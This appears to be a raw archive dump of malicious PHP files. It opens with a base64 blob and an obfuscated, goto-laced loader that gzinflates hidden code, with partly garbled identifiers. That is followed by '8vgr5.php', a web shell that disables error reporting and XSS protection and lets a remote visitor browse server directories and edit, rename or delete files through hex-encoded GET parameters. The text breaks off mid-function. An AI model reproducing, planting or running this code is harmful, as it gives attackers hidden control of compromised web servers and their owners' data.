XYiF5SBj9lPlEY3QKDmwtR9gJYQ9VVcdKVAb+k8vS1NC/YJYT9X1uiM1LKfYbrcT3KqkuTpItJcP1tsYU+F7BG18OhJIfUedACVNVXy9Mom/t7xfvW7xNgEYEZa9CLx68k19bHuAYnjbfKO6fi1eXKXnVhqJmP4Lxea0UErZXyLf29qlAg1nRUC5SANBatb7eax8lUqlMqn4TerWlBO5TlqqaPOYz7qkOTrNF0njWvch+7bDBDa7aQBLgfnLo92OPEP7kQZ+4q9bxECtsOERVVQfDzoApPGlSLjOOs7usd94+7hi4Zi2yT94EwpCkRSZC9uC7W0OlJ+ILfhKWbhSG/TNgUDsoN/DuOW+nl9uS17Y3adIlLOxKDNcJ7U8AqTF9GFSKrrdPTBNU3YyubqlbnUGiG3dF6tkH3UFlYzaV9bkxVzLaSsfzsbgK0kniGlj/fBXe+8NeVDTB/cNmrwnUB5gi2NdUWmNPrla/fdhpfBdbZqMgxS0ekrGq6cwiFJGq89x6GV6hcXLjMrnrCuJAQmWbJmqobpW99w5JNVzY1LXnwpa0K2bWjkbWCRu5jmWLG1Gd7VpU21JY1j5+v+CgmLxckzFM2KszWFruZsx5mDhPtvR55O1GSW4ieqSHTdsGWrC3mMweRUlNEp/d3bAP6YKYUQTnSgHSemIbGBFhIesZx8uUScUdePOpR1jSNpJ3PAMLns3/Pp6jHNqMnvbwOFSIqIdZ+oKbsBX2OKXiU9I75+6f9t256klpVwPdHBZ/r8ewbb48TXeFm5F7fmTIm0AXJTj2DsMIaO7CvwLW/zxVH2+7RumJVMiATJlZ+b20y433HMwNRb32LZhxMzY/NR/wnnrfM+Js+LDVI7KCuSKYL4N9VUnSUnUxAL9Y6JMXnwkMYIvExCmvJE+M9lPK+j7dqDDQXIz2QOQwPJa4onhDfZeR9WIs0pt1DKfoKM+p8SHRtIxkL4d/K45D0bYpW/RsrrGhFSappG++is75Y+JNXoe5PJUL9Au9ymnTWzG3K2/CpjwccNVJbl9hSZ4oxL4A2pLZiktjacabxQi7EjalnBEm4SaLPm+P6B+C0x3yME9vFLUuedrGf3gLNhU4GCSm46tQ/HZ1yLhoGNe34qyZKkE0wZnSMdqTYKHZ2TuVJ7w6D8ZtdRfNg7wyvDvorjy0BeZGZtwnoHuw7watVWoyMsHexvMIishg5N2VYPydUhkYkOjact97hpPUEvkSm3xQbKMdZxyocPbA3QUwNlZqrKtpwDsi9OO7YcksrFeZorjrjuo35s1rJQ8YBg9bkB6UcnejPrG/eGEPpYX5S2Zt/wkAp4UUHgjJN8uo1BcKrLCqLRuU/jtUY+Lyzrhhb+AWZV8OrT2vfugEJSMPQlawE5BHpN6d9bZN0E7HsWscY2HJkVxWSrwRQCxEyczOERZm1Sc9Zmo89mB7x5JdGyuQxOXx4hm5WVHNAzhjs8tS1CERAd/QE6yHv1iww2NESYbldlDVG7HQA2kSxrYEZtUB0szEVEVVT3FEX+eqV29lw7Ed9GIVwBxfVzqwrh1cHpDPmEYgzAl1Y4i1uOh5ZIUWXiPfndXQLX9p2V8O3xJORq2e0G6wF2WRCwZdw2nIKU8q620I68AhTkyKG7YyLOe/DRLe0ssf6+htDEkFSJHxXRxp0buPozu4q7IftzubPI3bKmxourRMN8eYY7oOc9yKYZaZ/yXdir+lS5y8MQ5n0J6MZtufdA5rjAewM9qOHj1WDt3m4U/2k2KM16T2K/JqqMbzByeAAvmp83zU8pJgi2LqgVXETreYWo4sbzh8E0eJ/sYk6vI++kDn7gVsc+2pM+O5WKn4FQd1JIRpEQKnoTy8zGTMI6vVv5fbMi+3x31RHF5Qtituy7WJ5FcaqZFhNtkcJR7YqHdcN87HMEd1pgrqF6M4wvdUTPwK0Dhw+yQYVX9Knnfbh3SdSb9e7K2O8Oy2kYJgE7I5sAPk7SoS+F1Ocl4Z9bCQGBs6iBvmwcGSMKaMZDPDx5lESq9HiJUutbiFfZq5CRvmbmdGHyY+q+jP5QQNZayn8L5gi8Y1PaderLWBR/2WkwZbe916FsqHyQvZzy5E356HRIEsCPe1AEOt2evIyl7U9A6Rr8llJLhlF4hiAsdvlGgjxbQHekzthogy4lJjr7Ld8ZNRxPL81fD3KQ6Az5CjaBIRFQLnHCqP09+NUgkHnnvNlXMJv9I1cYwLrQDzd/ElIIJXVNZx/gndEbxxgZTuSp9syxqUHCnhCYn6GC0bYISZ9+bY6MmvDMd3Ta1xT+Mbomsam98aRL2cIer+31NaLOhmH3U2yrZ5xDjSQZktrO7WbuNJfWaz6tF6bD6OAt/pFCnk3CH1vrGSFkiNvUMdJA18x1AK6LSHsG6dcCp+hAfiBtITg2KPNCtTWZ1lrqGYDT39RA3NIdzEZzatjLQEw/vDlp4SsPeIQS9hYmMAn54MYO0UtFIa33mdjra01lUhOIyZJNlVLEUDT3iHvHaRKe/DPjarz4TMAwt8mvdL8P4XtKvfzdDF0Ai5g3EqBvv5cQDPbzY30sT/vsgsgcIX/RaQIUVkOR9vfh7jmvu0lNPsV9qY7ujt8AbzADqb8lG2uYoKksRyLSXQuHxtDWvuGJSbvAxXRcnnzEfrazcvR6DNO+W8cpbET8pKyz/BSBAvENiuZZFm9tBHKnb/YW0uSqivKznww7NxKhg3GNBxzJnelwcb4YIEmgqlaGbaMOtRlbcL31LYgv0/38tstZMlDnhuMa3AhSPehq+Tz7Yba2czR6bJ56LfaEHJSg8J4Mpp6w382q2xJ2snwYyGvKRKDU1Qs5wKQhtET6KQ/7kWA8NPb4TF0QK8Zx4dwJDOknghrog1YpmJqjgVpASkWFKRInmuPztW8TK/SKwlC1SsaRKG5f1rqjvKhXaO9+P/LhK+zWo+3UBZVXYsDCSA/rGG0OVigJGjRdoQlOiu0ZEd2FaC7MxF5J+ydwgdbVZUsKuKFeoA+ful6lPV1hNKabc9pXH6oZ9ErJF8w2/8Y7njNHoapmzvOub5hwR6vLIZlx2u/SqtLYfjpp4Z2R69mFsbYhyJfuIDcwDjmVTwtx6saHzuUjHAVgAy8O2nzJGnLYFwexTQEULOZKo/gQRN0IFOdN4rrCLX+yUS1ekwsYLvHF2FVTxOnNDCJrCA0fD8wivmnqhBKWFlhTXn2yC9MD8GXsY1hfPPLmos82bso0KM5gHVUdieUVO1WW3ETN0ogSe8zPPSYO02kfqVT359hNpYCXDrMkrBaMPcuUUbkueuBIeYMgjLIdA5tbIqQrZj8peeJzDB6LBZaN1OTwqpeWpebeE8/jNRrk8SV83DhuOOKL6qwWA13rH7Jc+wFuGdExJQXpaQVvsAiKn88RffjAHByCq4bM9zG+DHRqTOOZKL+TMlaDEMv70WU/LMMV/jHhjwwJylHPq/5SDT+I0+Xfejjchb8dLqa042XcBA6k6Y/Yc9gGHrVmQUG3Msji6XC3OdwF05VIvvEAwYXsGLF4ezsfYE5NoL7wnhHzVoS77TJW5XgySOM2T4BNI/W1W1+4KtiJb1rRPDvXWZhOBza8N6KZSBmIAhlgfOWmaQj7iogmsu+X2hohjPnsUGkSgswXVhji4QY2lzSatkRLtoTAwqWfioMouinnxzF2vyp+8YfmjW0xXXTv6och2O4tCNhFwgJLL+msdij6oheBbV0Qtq5j/Rgo2br2x4aa0wvNy+SlTjt4LZmI38hanijK9QHwxFVRGloy+CNc6xns0qYyvxdY8ikIXXMOcIqBQPqdAntVuKRgBtbPPM2GnsjOJjjW1TsnwlQXD4FGPyHftpHqSrGSUGDOPV4dX1Un5sIJ3oXGcVP+OyjsQQX+e6P3JQui9BG9EppOD8o+SvwjR/1GfHwxDuzngCYZfUPP/VqssMWojBEQyYPLeknyujt1QsK2D4Va+qs2NAkp1sLHa1nhHHyHe28oe54l9VLls9KxaLw+uqQrj4tJQdAKHzoQKh9gmDjQ8Y6rNFy1CJw9FMzSu3r6e8UEY/eJVmSlnWyt/2Knx17c4j2wABfxyUP0RsM5mqgE1lgBjweyoWH4mILHsbzsEtL4j7iz+0h3YSHTYDlfcrT4oRiNLZ7C2xjOnh++MZ1JSQTgAgWWCc+sCAsmrYx5r4//wrHamdhRxQ2pDIqlW4jQvZO2BTB6ajyajoDo+36gWV/dqloKOJBhf0FTAcwXMycDJ2k5Dtnp0OxadQPw/NTn82vHlY3bfqEoI2PIEkT4pD8DEqNyY6QTbuHVTV1R7hf5nkEgJJcV5aYB3iqjgxuMUor7x0L74Fwj78j7CqSmS0cHi/ngURrjV2YIXJRjZpf6vi8wEG+PjhH+JHSnbeTT0M2lHFWzyjibLNDxzdvCTjwFS0uXd4t+weAH4eF9Z9R5nLPaerD2Vpj0uXPNRdEDuYTzRrmKgWCTQSDj+ttrXhNQ1SUz/2Qf7MGzNOKEnlKUESlqFoVXEm6NXUCd9vmtj6KuYfH+gHCCu2A+miyiTRRYyfGRdWleBRN+71n/Pj7zmOvxOO8scWDgAU+flf85mcgjZlkY1sM9A14tMwAKxxJddh4Qgr7YH44y1EmamdFJdBWnRWqJg5UNhaB53T+P6iW0ENmv5Y4DYRmPFVwUnXsV77EVRJaXYfuDz+pshXlft4GvknvoVf6Drh42MoHP2Ql+GUo5gc5QxR8pZmDuNiEGAQYlPS2qoEQULQN/85U1O14M5nXWFARYMiagbtwM1IGX9Qf36+IyOM+a5nOENTRZokS4c9p83qb7cu4ITyVHpG9f/D4t1IugWdGACoQexByHQPk0hDOt70hP39Y3iGX3M2Oa0wN1D4nNiqS+pCPFmy0JEJWQsIQBHKfQc/XD0NfHMZ2vbgjktAFbR+aMa0opk+pcy4yl55ZLhf9ogbonGtnkQIl49fycBhRSAZfYk9AKvy0VhIPqpTM7ZEEaW1z7JLSaT+1HSQCKJEUafxLuuqYm3N+IweXrqYXnc0zk4+cKxKKKMgf8V7RG7iPSwo9Mp3chMhixNN8jTh3SXvbHABgnJSC4s9FcxSP56vIo+k3DOVqjXF+Uy85CsC3nlc5VZDDVHGaFr3pLhdGAuW0oMG9XKm4Vkh2/DvwPV6N+IfCfUb8YjqcG19UO9K6bpFdKaWP6MufSOJKKVGZ1y5kXC41uCC0QdhsXWe6V0fDajGYjjC/+Pt8RA1P8LZbZAdFIiwC0UvJB01kWKOwiccisLCms4EIqw3H/3qkYTTZWqYpesbm4TD1Lu16IfWuuT16vXlS/XpTvDwI/rATrsLbSUhQjlwzVifKbTPJbyKKtWpPMmBsdrBKJsUneaDiXpOZg5x51c8yPZQUfAZDGfa51VH5tBLrSFjNEqJBs3dPRhnHXyxRnZpkCh0c9xHMaQhQ2wiIB+vc/IV1kwcfC4Vp9+p3NAPXxODINg69hQwMcTzGu6ouOxi1ja2JGtXLIBQN10a3Bnx7AkXddy5SV8rKU8xRzaBZ3Pcjb5N/0MOIj05UMbcN3fAkEAHLvoM4O392xeJuM9uO6/y0iZWhZkLqOtv3tLXX/ZlGXqn6aAVanOuLIbszFj+sTrQh2cj9BUuT7koIddjkWa3oncGpFhJmqmZprdfQ5w9xJetRQf+IRowQW/f3yztiNlCm/G+qOZXJj5I23RVLsRZGhJukWIgX+fpqmVAKG7OEGp57tYC5wJuMWxQw5yQaawVavnuEQRWRkFdEsNjLIgursRZHILT6wW3HEBzF4rp7sbAJtvXItkvAByg1x6Z2EkALO5BAwtLuuic0T9v0m8b5uQYiND0608yMKyQXikgg93VILnEHRRgEwQamSZeeXbxD5l4k0fYGUDjYuOIIoKTadGh48Dd7QVcmfA9bR/k5/Pop13GL9bXNjAt5ZkoEWFghsq3nv1QmjXULrq2Jx0aTQkFUY9RgDP+pqHsIN/GQ/W/2GBVMaLl3NzvnYizrdK/l1tZB5PvLrOFzIaBZHjHfp035xVXS06etg8/f1P0HPf3qa8ToMKrnMfjrIr8Wv92kO6iDRgtzmZijzGEqZ72YfbPzYnkBjzpPEconu1LdOPpxCGBYxm/ePHjugtMiaEEmFHe3qPrwcEKkR9cDeNue+l7VXyWAG44SQoM7Lt6gUcWdsv9sbXCvOs61sjZyvn05KI4HLiREzGGHyCMU8cfuMjVO/6gEZ5t+//8RZIE84oAAA'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��—;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �՘�;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);8vgr5.php000064400000056045151550217160006245 0ustar00<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
